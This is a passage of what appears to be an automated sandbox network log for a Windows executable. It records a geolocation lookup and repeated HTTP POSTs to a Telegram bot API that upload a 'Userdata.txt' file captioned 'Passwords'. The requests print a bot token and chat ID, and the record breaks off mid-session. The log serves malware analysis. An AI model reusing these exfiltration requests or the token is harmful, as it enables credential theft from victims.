2025-01-10 20:49:36 UTC	1390	IN	Data Raw: c6 53 cc 96 53 1a a7 31 79 4d 6c 65 70 bc 4a 11 42 24 fd 28 fe 8a c5 23 85 91 39 fb 10 1e fd 04 52 83 fd 40 46 ba 22 de 1e cc 93 ad f1 53 81 9e 4d 9b 42 a3 1f 18 b7 e2 a8 c8 1a 7a 66 e7 74 35 71 e5 94 a6 db 6f 00 46 36 2b f7 a4 b4 85 a5 b8 8a 9a ce 17 85 38 26 9a 8a fb 7a 72 c1 c9 a9 a7 b9 ea b4 90 3e 71 4f b6 9d e7 05 b0 17 95 74 81 f2 ae 66 1a b7 50 7e 01 c2 d5 fe 62 1f b7 81 22 23 94 ca 44 67 5b b9 2e 2a 14 d4 00 54 39 b9 7d 9d 64 8c 84 f7 02 b4 d3 76 e4 76 67 89 d8 a7 38 d4 99 a1 24 52 78 1b 2f 05 46 73 f8 e1 94 b8 c7 47 6c ef 10 3f d2 4f 45 b2 31 ab 3d a3 e3 90 bf 91 10 e4 0c d4 5a 97 fe af 92 7c ff 21 88 88 f7 40 96 5a aa da 56 db f9 19 27 e3 2f 2b 15 c0 df 52 cd 4a 5b a3 85 21 37 9d c3 0d c7 f2 c8 68 34 2e 86 91 30 52 1c 0f b9 84 c0 38 51 e9 4d 74 Data Ascii: SS1yMlepJB$(#9R@F"SMBzft5qoF6+8&zr>qOtfP~b"#Dg[.*T9}dvvg8$Rx/FsGl?OE1=Z\|!@ZV'/+RJ[!7h4.0R8QMt
2025-01-10 20:49:36 UTC	1390	IN	Data Raw: 4e a7 09 1d d5 30 99 e3 10 7e d5 64 12 64 61 04 6d f5 21 57 5d fc 68 db 6f a3 0f 6b a6 90 2f 32 b4 86 e4 29 c0 7b 38 f8 04 25 a1 e5 77 91 e6 15 a4 93 c4 be f3 da 1b 31 60 3a 74 b3 d3 be ad 64 6a 05 b6 57 d9 24 8c eb b2 da 9d bc 5f 6f e3 90 1f 19 5f 0b af 38 c7 ff 2d a4 19 7e 60 f6 ef b0 af b1 06 b4 34 46 a7 e0 79 c7 6e ae 5c ea cf b0 f1 00 f1 d2 01 46 5d 8d f6 bf 32 e1 a5 4e 6b 07 9d f7 73 ac 2b b8 a8 cd 34 71 32 01 14 7f 46 e6 3b a0 55 10 c5 6d b4 4d 20 ec 30 e6 28 a3 81 2f 09 b1 78 6c 47 7f 3c 64 79 c3 59 8b 86 00 78 d7 a8 9e 96 8d e5 a1 2e 6d 24 7b c9 c2 9f ee f7 ac 9c c9 12 23 1e 56 50 e2 d1 f8 d3 98 64 12 67 07 ce 16 eb 16 b1 66 e7 e9 f9 06 ee a1 9b 3a b0 b1 57 6a 64 12 72 91 15 f4 77 c2 dc 98 a9 3b e3 dd 02 51 75 35 55 7a ed e5 2d a6 3d 2d 45 d1 5a Data Ascii: N0~ddam!W]hok/2){8%w1`:tdjW$_o_8-~`4Fyn\F]2Nks+4q2F;UmM 0(/xlG<dyYx.m${#VPdgf:Wjdrw;Qu5Uz-=-EZ
2025-01-10 20:49:36 UTC	1390	IN	Data Raw: 03 e7 27 48 40 ac ba 51 19 27 3b 50 82 1a 60 8a b6 1e f2 44 27 e1 f2 eb 63 93 22 f2 90 dc 8c 8f 8e 21 99 32 e6 3f ce 14 de 40 68 d1 19 96 10 be 38 3f d2 11 79 f7 0b 0b 15 4a e9 5e 0d 6a 38 c7 aa 42 d6 0e 63 4c a5 f7 46 c7 79 48 12 e9 ff 8d 3a 7e 2c 2d 05 32 da c6 fd 32 10 26 c8 ca ab 63 e8 57 a9 db 95 8e 96 91 a0 b4 ee 24 ed 84 a3 7b 0d d7 55 8e ea fa 5b 6e 75 c9 5a 13 4d 3d 4d 1e e4 79 15 de d0 22 ad 2e 68 18 ce ad 04 e3 67 db 56 15 ed 60 88 4f 24 a2 88 62 f9 19 8a a4 6d bf 5f 7d 28 fc 8b fb ed fa bd f0 ff a6 81 ad f8 3f c0 67 8b 9c 27 62 49 ec 01 85 d3 98 6d 74 4a 3c c9 97 1e 8b d7 dd cf be 9f 15 e3 6b 91 a4 c8 85 98 60 44 7d 82 21 ab 12 79 52 9b 5f 21 d9 9c 98 7b 20 6c 32 ef e2 92 aa 20 60 b7 c5 63 2a 32 df c8 57 c9 fe ec f7 fa 70 7c cf 49 ef 12 98 f1 Data Ascii: 'H@Q';P`D'c"!2?@h8?yJ^j8BcLFyH:~,-22&cW${U[nuZM=My".hgV`O$bm_}(?g'bImtJ<k`D}!yR_!{ l2 `c*2Wp\|I
2025-01-10 20:49:36 UTC	1390	IN	Data Raw: 57 c6 2d bb 49 b6 52 aa 28 19 e2 fb 4f 01 76 c7 ac 27 45 ba 47 72 2c 20 45 e7 52 94 8e 49 15 49 42 04 d7 7c 38 e4 6a a9 f4 a3 26 2d ba d0 7b ec ab a4 de 53 d0 23 d2 1b d6 68 2c 2e b2 a8 b7 ed 92 78 af a7 80 2a 05 c8 96 c9 ac ec 76 51 f9 e5 a6 cb 58 64 3a 4d a0 9e 65 49 0d 3f 55 1d 0c cc 40 57 1a ca ef 98 ce e5 db 49 dc 9c b7 7c 3f 3e c4 0e 72 74 80 9f 56 17 b0 f2 76 5b ad 75 17 56 a8 1c 99 eb a9 22 1b 57 4e 0f 51 56 a3 d3 36 a1 fc 68 92 5f 78 9a 69 7e 23 fe 05 0d f1 00 25 17 3d d7 dd 0f 5a 68 f9 58 64 03 b9 cb 7c be 0f 2d 0c 11 68 52 83 fc 8a 6a 44 34 6c 00 64 58 4e 02 36 9d 1b 30 c9 dc ad 39 87 0f 78 c8 ef e6 e2 75 97 5a d9 b3 4e ad 51 a3 10 83 5d 4e 73 0e 80 a4 6c 87 29 0f 2a 58 41 34 b8 56 1f 37 26 56 94 ad 83 19 95 5b 97 17 65 67 79 df b6 40 18 96 53 Data Ascii: W-IR(Ov'EGr, ERIIB\|8j&-{S#h,.xvQXd:MeI?U@WI\|?>rtVv[uV"WNQV6h_xi~#%=ZhXd\|-hRjD4ldXN609xuZNQ]Nsl)XA4V7&V[egy@S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49977	104.21.48.1	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:38 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 20:49:38 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:38 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1856967 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3zFgY0h24i1eaTO8gZ3sXksBVIfgzOSGwn6PxKtap46Rl7TihpFmhZxQuE3F1NpK%2BbZUCtfncks9Fh29Ciioha%2FOqsbD0QBVlxLrBKyQKhyT4u1801LScLCL3vU9ecyOj0%2FBHi3%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff88e9497a8c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1769&rtt_var=674&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1612368&cwnd=238&unsent_bytes=0&cid=8a34f01298985707&ts=186&x=0"
2025-01-10 20:49:38 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49978	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:45 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd318e66da22f5 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:49:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 65 36 36 64 61 32 32 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd318e66da22f5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:45 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:45 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44704,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542185,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49980	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:47 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31a4b90ef901 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:49:47 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 34 62 39 30 65 66 39 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31a4b90ef901Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:47 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:47 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44705,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542187,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49982	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:48 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31bafa87d516 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:49:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 61 66 61 38 37 64 35 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31bafa87d516Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:49 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:49 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44706,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542188,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49984	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:50 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31cfc8c5e025 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:49:50 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 63 66 63 38 63 35 65 30 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31cfc8c5e025Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:50 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:51 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44707,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542190,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49986	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:52 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e74b689e6f Host: api.telegram.org Content-Length: 1090
2025-01-10 20:49:52 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 37 34 62 36 38 39 65 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e74b689e6fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:52 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:52 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44708,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542192,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49988	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:54 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31fd5ac83069 Host: api.telegram.org Content-Length: 1090
